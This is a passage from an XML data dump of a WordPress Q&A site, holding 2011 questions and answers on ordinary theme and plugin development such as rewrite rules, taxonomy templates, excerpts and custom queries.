user.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-17T00:45:36.480" />
  <row Id="23191" PostTypeId="1" CreationDate="2011-07-17T01:18:08.123" Score="0" ViewCount="57" Body="&lt;p&gt;I have a plugin that generates a meta description or title as two of its features.  However I run into the problem of other SEO plugins possibly being installed, and ending up with two meta descriptions or duplicate titles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, I'd like to detect what is already in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; section and if a meta description is present, re-write it with the output from my plugin.  If no meta description is present, then I simply add one (that's the easy part).  Same situation for titles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trouble is I can't seem to find any way to get the contents of &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;, as one can with &lt;code&gt;the_content&lt;/code&gt; in a filter or action hook.  It's not an option to edit the theme as this must work regardless of the installed theme.  I need a way to accomplish this using a hook or some other method from within my plugin itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestions?  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7079" LastActivityDate="2011-07-17T19:48:57.513" Title="How to remove a meta description or other &lt;head&gt; contents" Tags="&lt;hooks&gt;&lt;wp-head&gt;" AnswerCount="1" />
  <row Id="23193" PostTypeId="1" CreationDate="2011-07-17T01:34:42.573" Score="0" ViewCount="28" Body="&lt;p&gt;I've created a custom taxonomy and I'm trying to get Wordpress to display the taxonomy template when no term is defined. Currently Wordpress is only showing the template when a term is defined on the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My taxonomy is called &lt;code&gt;projects&lt;/code&gt; and defined like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'labels' =&amp;gt; array(&#xA;        'name' =&amp;gt; &quot;Categories&quot;,&#xA;        'singular_name' =&amp;gt; &quot;Category&quot;,&#xA;        'search_items' =&amp;gt; &quot;Search Categories&quot;,&#xA;        'popular_items' =&amp;gt; &quot;Popular Categories&quot;,&#xA;        'all_items' =&amp;gt; &quot;All Categories&quot;,&#xA;        'parent_item' =&amp;gt; &quot;Parent Category&quot;,&#xA;        'parent_item_colon' =&amp;gt; &quot;Parent Category:&quot;,&#xA;        'edit_item' =&amp;gt; &quot;Edit Category&quot;,&#xA;        'update_item' =&amp;gt; &quot;Update Category&quot;,&#xA;        'add_new_item' =&amp;gt; &quot;Add New Category&quot;,&#xA;        'new_item_name' =&amp;gt; &quot;New Category Name&quot;,&#xA;    ),&#xA;    'hierarchical' =&amp;gt; TRUE,&#xA;    'label' =&amp;gt; 'Categories',&#xA;    'query_var' =&amp;gt; TRUE,&#xA;    'rewrite' =&amp;gt; array(&#xA;            'slug' =&amp;gt; 'projects'&#xA;    ),&#xA;);&#xA;&#xA;register_taxonomy('projects', 'project', $args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next to this I have created a template file called &lt;code&gt;taxonomy-projects.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently when I browse to the &lt;code&gt;http://mysite.com/projects&lt;/code&gt; URL, Wordpress falls back to the &lt;code&gt;index.php&lt;/code&gt;. How can I make it so that when no term is defined, Wordpress shows my &lt;code&gt;taxonomy-projects.php&lt;/code&gt; template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should have added this straight away, I'm clearing my rewrite rules each time I make a change to try again.&lt;/p&gt;&#xA;" OwnerUserId="6616" LastEditorUserId="6616" LastEditorDisplayName="" LastEditDate="2011-07-17T02:37:05.593" LastActivityDate="2011-08-17T09:25:54.117" Title="Catch all taxonomy template" Tags="&lt;custom-taxonomy&gt;&lt;template&gt;" AnswerCount="1" />
  <row Id="23194" PostTypeId="2" ParentId="23193" CreationDate="2011-07-17T02:04:20.593" Score="0" ViewCount="" Body="&lt;p&gt;Have you tried flushing your rewrite rules?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, go to &lt;code&gt;Dashboard -&amp;gt; Settings -&amp;gt; Permalinks&lt;/code&gt;, and click &quot;save&quot; (no need to make any changes), to force WordPress to flush the rewrite rules.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-17T02:04:20.593" CommentCount="1" />
  <row Id="23195" PostTypeId="1" AcceptedAnswerId="23198" CreationDate="2011-07-17T02:48:33.527" Score="0" ViewCount="62" Body="&lt;p&gt;I have an IF statement shown below that runs one of 2 custom queries, based on the url. The problem I'm facing is if the url contains pagination such as &lt;code&gt;/page/2/&lt;/code&gt;, my query breaks because the url isn't correctly matched. I'm very new to php and in my searching I've come across a few different php functions that may help my situation - I'm just unsure of how to use them and which is more efficient for my needs. These are &lt;code&gt;preg_match&lt;/code&gt;, &lt;code&gt;parse_url&lt;/code&gt;, and &lt;code&gt;dirname&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;code&gt;site.com/players&lt;/code&gt; lists the players and &lt;code&gt;site.com/players/type/pro&lt;/code&gt; lists the pro players. The latter has been rewritten and is actually &lt;code&gt;site.com/players/?type=pro&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following if statement is what I have now and will not run the first query if the url has anything after the /pros/ segment, such as pagination in my case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( $_SERVER['REQUEST_URI'] == '/players/type/pros/' ) {&#xA;     //run the query to list the pros&#xA;}&#xA;&#xA;else {&#xA;    //run the default query for the players&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's what I need to do, which works, but without all the manual labour of writing an OR for every single page. This is where I'm guessing one of those php functions would come into play.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( $_SERVER['REQUEST_URI'] == '/players/type/pros/' || $_SERVER['REQUEST_URI'] == '/players/type/pros/page/2/' || $_SERVER['REQUEST_URI'] == '/players/type/pros/page/3/' || $_SERVER['REQUEST_URI'] == '/players/type/pros/page/4/' ) {&#xA;     //run the query to list the pros&#xA;}&#xA;&#xA;else {&#xA;    //run the default query for the players&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to those who answered. I've been digging into WordPress' rewriting and with the help of some very informative posts on this site I ended up doing it this way.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Made a new page template called player-types.php which would handle the incoming query or queries. I may need to further list players by other types.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Setup some rewrite rules placed in functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('init', 'add_page_rewrite_rules');&#xA;function add_page_rewrite_rules() {&#xA;    //would match www.site.com/players/type/pro    &#xA;    add_rewrite_rule('^players/type/([^/]*)/?$','index.php?pagename=player-types&amp;amp;type=$matches[1]','top');  &#xA;    //would match www.site.com/players/type/pro/page/2    &#xA;    add_rewrite_rule('^players/type/([^/]*)/page/([0-9]+)?$','index.php?pagename=player-types&amp;amp;type=$matches[1]&amp;amp;paged=$matches[2]','top');       &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Added the &lt;code&gt;type&lt;/code&gt; variable to &lt;code&gt;query_vars&lt;/code&gt; so I could use it on the new page template (placed in functions.php)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'query_vars', 'add_query_vars' );&#xA;function add_query_vars( $query_vars ) {&#xA;    $query_vars[] = 'type'; //add type to query vars&#xA;    return $query_vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And the page template in it's most basic form looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php /* Template Name: Player Types */ ?&amp;gt;&#xA;&#xA;&amp;lt;?php if ( $wp_query-&amp;gt;query_vars['type'] == 'pro' ) {&#xA;    //custom pro query&#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This allows me to have &lt;code&gt;www.site.com/players/type/pro&lt;/code&gt; and I can expand on it to  &lt;code&gt;www.site.com/players/type/whatever-else&lt;/code&gt;. Normal players are still listed at &lt;code&gt;www.site.com/players/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And for those who are wondering, I didn't do it with a taxonomy because I'm listing the players based on their custom WordPress role ( pulling the author id's into the query) rather than having a check box that someone has to manually check.&lt;/p&gt;&#xA;" OwnerUserId="4999" LastEditorUserId="4999" LastEditorDisplayName="" LastEditDate="2011-07-17T06:40:33.043" LastActivityDate="2011-07-21T07:50:10.227" Title="Is there a PHP function that can match anything after the given URL, so my IF statement will work in each instance?" Tags="&lt;wp-query&gt;&lt;url-rewriting&gt;&lt;pagination&gt;&lt;conditional-content&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="23196" PostTypeId="1" AcceptedAnswerId="23203" CreationDate="2011-07-17T02:58:15.460" Score="1" ViewCount="69" Body="&lt;p&gt;I use excerpts of posts in my front page. In my excerpt, the summary of the post seems to be clumped together with no spaces that are indicated in the post (e.g., paragraph spaces are automatically removed). I understand this is the default behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: Is there a way to retain the paragraph in excerpts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To show excerpt on the fron page in my Twenty Ten theme's loop.php I changed this (around line #137: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( is_archive() || is_search() ) : // Only display excerpts for archives and search. ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( is_home() || is_front_page() || is_archive() || is_search() ) : // Only display excerpts for archives and search. ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thanks.&lt;/p&gt;&#xA;" OwnerUserId="5021" LastEditorUserId="5021" LastEditorDisplayName="" LastEditDate="2011-07-17T03:43:55.407" LastActivityDate="2011-07-17T05:47:38.857" Title="Excerpts automatically remove paragraph space" Tags="&lt;excerpt&gt;" AnswerCount="2" />
  <row Id="23197" PostTypeId="2" ParentId="23196" CreationDate="2011-07-17T04:24:36.897" Score="0" ViewCount="" Body="&lt;p&gt;The line that's important isn't likely to be the &quot;if&quot;, it's this one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's what spits out the content. Adding nl2br (http://php.net/manual/en/function.nl2br.php) should help return the linebreaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll have to manually echo it out, though, so you should use &quot;get_the_excerpt()&quot; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This line should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo nl2br(get_the_excerpt()); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7084" LastActivityDate="2011-07-17T04:24:36.897" CommentCount="2" />
  <row Id="23198" PostTypeId="2" ParentId="23195" CreationDate="2011-07-17T04:27:02.753" Score="1" ViewCount="" Body="&lt;p&gt;look for the string &lt;code&gt;page/&lt;/code&gt; and capture just the part of the url before it with &lt;code&gt;strpos&lt;/code&gt; and &lt;code&gt;substr&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = '/players/type/pros/page/3/';&#xA;$find = 'page/';&#xA;$trimmed_url = substr( $url, 0, strpos($url, $find) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT - so in the context of your question you could use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = $_SERVER['REQUEST_URI'];&#xA;$find   = 'page/';&#xA;$pos = strpos($url, $find);&#xA;if($pos):&#xA;    $url = substr($url, 0, $pos);&#xA;endif;&#xA;&#xA;if( $url == '/players/type/pros/' ){&#xA;    //run the query to list the pros&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But a question I have - why are you using the URL to determine what to load, can you not check $_GET['type'] or whatever query vars are being set?&lt;/p&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-07-17T04:37:30.690" LastActivityDate="2011-07-17T04:37:30.690" CommentCount="1" />
  <row Id="23199" PostTypeId="2" ParentId="23195" CreationDate="2011-07-17T04:34:53.160" Score="1" ViewCount="" Body="&lt;p&gt;You could &lt;a href=&quot;http://us.php.net/manual/en/function.explode.php&quot; rel=&quot;nofollow&quot;&gt;explode&lt;/a&gt; the string out into individual pieces (as separated by the &quot;/&quot; character) and then analyze the pieces.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $url_pieces = explode('/', $_SERVER['REQUEST_URI']); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your first example, &lt;code&gt;$url_pieces[0]&lt;/code&gt; would be &quot;players&quot;, &lt;code&gt;$url_pieces[1]&lt;/code&gt; would be &quot;type&quot;, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanted to make sure &quot;players&quot; was in the first slot and &quot;pros&quot; was in the third, you do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (($url_pieces[0] == 'players') &amp;amp;&amp;amp; ($url_pieces[2] == 'pros')) { // do stuff ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If all you cared about was &quot;pros&quot; just being in there somewhere, you could evaluate more simply:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (in_array('pros', $url_pieces)) { // do stuff ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7084" LastActivityDate="2011-07-17T04:34:53.160" CommentCount="1" />
  <row Id="23200" PostTypeId="1" CreationDate="2011-07-17T00:53:16.597" Score="0" ViewCount="17" Body="&lt;p&gt;I want to get the template path to print in this echo of a form in the admin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I got: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt; ?php echo of_get_option('splash_img_transition', 'bloginfo('template_url')+/images/large/chalk.jpg' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second parameter there is a placeholder if nothing is input into the field that I am echoing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally the echo works like this: &lt;code&gt;&amp;lt; ?php echo of_get_option('splash_img_transition', 'no entry' ); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And of course the WP tag &lt;code&gt;&amp;lt; ?php bloginfo('template_url'); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just trying to combine the two so that the default (if the user does not input anything) will be a path to a placeholder image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;" LastActivityDate="2011-07-17T05:34:39.083" Title="Getting a WordPress tag to print inside of a traditional php echo" Tags="&lt;php&gt;&lt;templates&gt;&lt;tags&gt;" AnswerCount="1" />
  <row Id="23201" PostTypeId="2" ParentId="23200" CreationDate="2011-07-17T01:04:19.317" Score="1" ViewCount="" Body="&lt;p&gt;Most Wordpress functions, that generate output, do echo that output by them self. But all those functions are just wrappers for the accordingly get_*-functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case its &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/bloginfo&quot; rel=&quot;nofollow&quot;&gt;bloginfo()&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_bloginfo&quot; rel=&quot;nofollow&quot;&gt;get_bloginfo()&lt;/a&gt;, where the second returns the output, so you can use it for whatever you like.&lt;/p&gt;&#xA;" OwnerUserId="7089" LastActivityDate="2011-07-17T01:04:19.317" />
  <row Id="23202" PostTypeId="1" CreationDate="2011-07-17T05:39:30.840" Score="0" ViewCount="11" Body="&lt;p&gt;I would like to organizing menu items at the bottom of my page, basically i the following structure for my menu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main Menu&#xA; - Sub-item 1&#xA; - Sub-item 2&#xA; - Sub-item 3&#xA; |_ Sub-of-Item 3 #1&#xA; |_ Sub-of-Item 3 #2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now at the sub page of the SUB page, i would like to organizing my menu for so it's &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Type C: Items 1 | Item 2  Type F: Item 3 | item 4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do this, items 1-4 are just pages, but the way they are displayed this way to divide and differentiate as to which item is part of which type of.&lt;/p&gt;&#xA;" OwnerUserId="4304" LastActivityDate="2011-07-17T05:39:30.840" Title="Organizing page links by type" Tags="&lt;wp-list-pages&gt;" />
  <row Id="23203" PostTypeId="2" ParentId="23196" CreationDate="2011-07-17T05:47:38.857" Score="0" ViewCount="" Body="&lt;p&gt;Looks like my other answer wasn't working, so I looked into it and found this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://aaronrussell.co.uk/legacy/improving-wordpress-the_excerpt/&quot; rel=&quot;nofollow&quot;&gt;http://aaronrussell.co.uk/legacy/improving-wordpress-the_excerpt/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That article should give you all you need to keep the &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags in there.&lt;/p&gt;&#xA;" OwnerUserId="7084" LastActivityDate="2011-07-17T05:47:38.857" />
  <row Id="23204" PostTypeId="2" ParentId="23088" CreationDate="2011-07-17T06:02:49.157" Score="1" ViewCount="" Body="&lt;p&gt;In order to be able to use template tags, you have to do two things after getting your custom select query:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You have to declare the &lt;code&gt;global $post&lt;/code&gt; variable.&lt;/li&gt;&#xA;&lt;li&gt;You have to call the setup_postdata($post) function to populate the variables.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, my code had to be changed like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$results = $wpdb-&amp;gt;get_results($wp_query-&amp;gt;request, OBJECT);&#xA;global $post;&#xA;foreach ($results as $post) {&#xA;    setup_postdata($post); &#xA;?&amp;gt;&#xA;&amp;lt;h4&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key to this is on this codex page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Displaying_Posts_Using_a_Custom_Select_Query&quot; rel=&quot;nofollow&quot;&gt;Displaying posts using a custom select query&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3564" LastActivityDate="2011-07-17T06:02:49.157" />
  <row Id="23205" PostTypeId="1" AcceptedAnswerId="23229" CreationDate="2011-07-17T06:27:18.927" Score="0" ViewCount="35" Body="&lt;p&gt;Does anyone know where I can get a &lt;em&gt;list of all the &lt;strong&gt;body classes&lt;/em&gt;&lt;/strong&gt; generated by &lt;code&gt;body_class()&lt;/code&gt; for &lt;strong&gt;every sections&lt;/strong&gt; and &lt;strong&gt;every conditions&lt;/strong&gt;, including &lt;em&gt;custom post-types&lt;/em&gt;, etc.?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, for a &lt;em&gt;search result&lt;/em&gt; page with certain conditions (eg. &lt;em&gt;logged-in&lt;/em&gt;), the function produces this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body class=&quot;search search-results logged-in admin-bar single-author two-column right-sidebar&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need the full list for &lt;strong&gt;reference&lt;/strong&gt; in creating a theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="1044" LastActivityDate="2011-07-17T13:53:46.393" Title="List of Body Classes Generated by body_class()" Tags="&lt;functions&gt;&lt;post-class&gt;&lt;reference&gt;" AnswerCount="2" />
  <row Id="23208" PostTypeId="2" ParentId="23205" CreationDate="2011-07-17T07:31:37.727" Score="1" ViewCount="" Body="&lt;p&gt;There's a list of that on &lt;a href=&quot;http://wpengineer.com/816/wordpress-28-body_class-automatic_feed_links/&quot; rel=&quot;nofollow&quot;&gt;WPEngineer.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7067" LastActivityDate="2011-07-17T07:31:37.727" />
  <row Id="23209" PostTypeId="1" CreationDate="2011-07-17T07:54:30.693" Score="0" ViewCount="42" Body="&lt;p&gt;I would like to take the content from a post in my domain and show it on my subdomain. I don't want to use copy / paste function since the content is updated regularly.&#xA;I have 2 seperate installs of WP.&#xA;Is there a way to do this?&#xA;There is a similar post &lt;a href=&quot;http://wordpress.stackexchange.com/questions/16119/wordpress-as-xml-rpc-client&quot;&gt;here&lt;/a&gt; but it is very complicated and I don't realy understand how to use that advice.&lt;/p&gt;&#xA;" OwnerUserId="7085" LastActivityDate="2011-07-17T07:54:30.693" Title="Get contents of posts from another domain" Tags="&lt;fetch-feed&gt;" CommentCount="2" />
  <row Id="23210" PostTypeId="1" CreationDate="2011-07-17T08:11:41.560" Score="0" ViewCount="9" Body="&lt;p&gt;Im trying to display an enquirey form by default on every post created by the user. What is the best way to go about this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Tom.&lt;/p&gt;&#xA;" OwnerUserId="6939" LastActivityDate="2011-07-17T08:11:41.560" Title="Enquirey form displayed on all posts as default" Tags="&lt;posts&gt;&lt;forms&gt;&lt;plugin-gravity-forms&gt;" />
  <row Id="23211" PostTypeId="2" ParentId="22808" CreationDate="2011-07-17T08:39:47.120" Score="0" ViewCount="" Body="&lt;p&gt;Of course after I offer up a bounty I immediately find the answer.  It just took me a while to figure out what the question was...  It seems that custom post types are not designed to work in archives like this.  I did find a function the allows this to work: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1878/custom-post-type-archives-by-date-and-taxonomy&quot;&gt;Custom Post Type Archives by Date and Taxonomy&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2661" LastActivityDate="2011-07-17T08:39:47.120" CommentCount="2" />
  <row Id="23213" PostTypeId="2" ParentId="22524" CreationDate="2011-07-17T09:14:52.837" Score="0" ViewCount="" Body="&lt;p&gt;Simply put &lt;code&gt;[embed]&lt;/code&gt; is not a regular shortcode. Most of the time it does nothing. What happens when post content goes through &lt;code&gt;the_content&lt;/code&gt; filter is following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;[emded]&lt;/code&gt; is currently registered to do nothing ( &lt;code&gt;__return_false()&lt;/code&gt; )&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;WP_Embed-&amp;gt;run_shortcode()&lt;/code&gt; filter runs with low &lt;code&gt;8&lt;/code&gt; priority&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;all shortcodes are disabled&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;[embed]&lt;/code&gt; is registered to &lt;code&gt;WP_Embed-&amp;gt;shortocde()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;do_shortcode()&lt;/code&gt; executes on content (only doing embeds, since rest is disabled)&lt;/li&gt;&#xA;&lt;li&gt;shortcodes are restored to original state, &lt;code&gt;[embed]&lt;/code&gt; is back to being useless.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So my quick guess for something to try would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_embed;&#xA;&#xA;echo $wp_embed-&amp;gt;run_shortcode('[embed]whatever[/embed]');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But note that there is also caching involved (embedding results are saved to custom field of the post, otherwise it would need to make HTTP request every time) and you are likely breaking that, unless you are doing it inside loop and close to where it normally works. Maybe even then.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-17T09:14:52.837" CommentCount="2" />
  <row Id="23214" PostTypeId="1" AcceptedAnswerId="23258" CreationDate="2011-07-17T09:17:21.660" Score="0" ViewCount="28" Body="&lt;p&gt;I want to add &quot;print&quot; button to print simple reports in a plugin. The basic idea I have is to generate a printer friendly html page and redirect user to that page where he/she can use browser's print functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How good is that solution? Is there any other alternative?&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2011-07-17T20:17:52.143" Title="&quot;Print to printer&quot; functionality in a plugin" Tags="&lt;plugin-development&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="23215" PostTypeId="2" ParentId="20194" CreationDate="2011-07-17T09:24:58.150" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/core-control/&quot; rel=&quot;nofollow&quot;&gt;Core Control&lt;/a&gt; plugin is essential. Mostly for cron tasks overview, but at times other functions (like HTTP logging) are also uniquely useful.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-17T09:24:58.150" CommunityOwnedDate="2011-07-17T09:24:58.150" />
  <row Id="23216" PostTypeId="1" CreationDate="2011-07-17T09:30:53.550" Score="1" ViewCount="31" Body="&lt;p&gt;I have created a CPT called 'stores', each store has a taxonomy registered to it called 'store-type' (i.e. whether it's a fashion store, or kids etc). There is a third taxonomy 'floor'. A store can be on multiple floors like a large department store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been asked by the client to list all the 'stores' by 'store type' and on each floor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have an idea to create a horrible loop like: (only pseudo-code at the moment)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach storeLevel as level&#xA;{&#xA;   foreach storeType as type&#xA;   {&#xA;      get_posts_by_store_type() /* Note this would be a new WP_Query() */&#xA;      list_stores();&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can imagine, this would create hundreds of queries. There is also some custom fields on each post I need to pull through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone point me in the direction of a better method to list posts by taxonomy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: I have tested a similar bit of code on just listing the stores without going through each level and it's created around 80 queries and only a 5th of the stores have been added. :/&lt;/p&gt;&#xA;" OwnerUserId="2264" LastActivityDate="2011-07-17T09:30:53.550" Title="Optimised Code for Pulling Taxonomy Posts" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;wp-query&gt;" />
  <row Id="23217" PostTypeId="2" ParentId="23129" CreationDate="2011-07-17T10:45:30.770" Score="0" ViewCount="" Body="&lt;p&gt;The owner of the files &lt;strong&gt;must be php user&lt;/strong&gt;. To have php user in the group is not good enough.&lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2011-07-17T10:45:30.770" />
  <row Id="23218" PostTypeId="2" ParentId="23111" CreationDate="2011-07-17T11:04:41.207" Score="0" ViewCount="" Body="&lt;p&gt;Thank you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that ideally the slider code would have the custom query variable in order to keep the default data held in &lt;code&gt;$post&lt;/code&gt; for later down the page but the slider is taken care of by my parent theme so I didn't want to change it. Instead I did this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_reset_query&lt;/code&gt; didn't seem to do anything but the following worked...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added this before my second loop (after the slider) to get the current static page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_query = new WP_Query( 'paged=' . get_query_var( 'page' ) );&#xA;&#xA;while ($my_query-&amp;gt;have_posts()) { $my_query-&amp;gt;the_post();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7061" LastActivityDate="2011-07-17T11:04:41.207" />
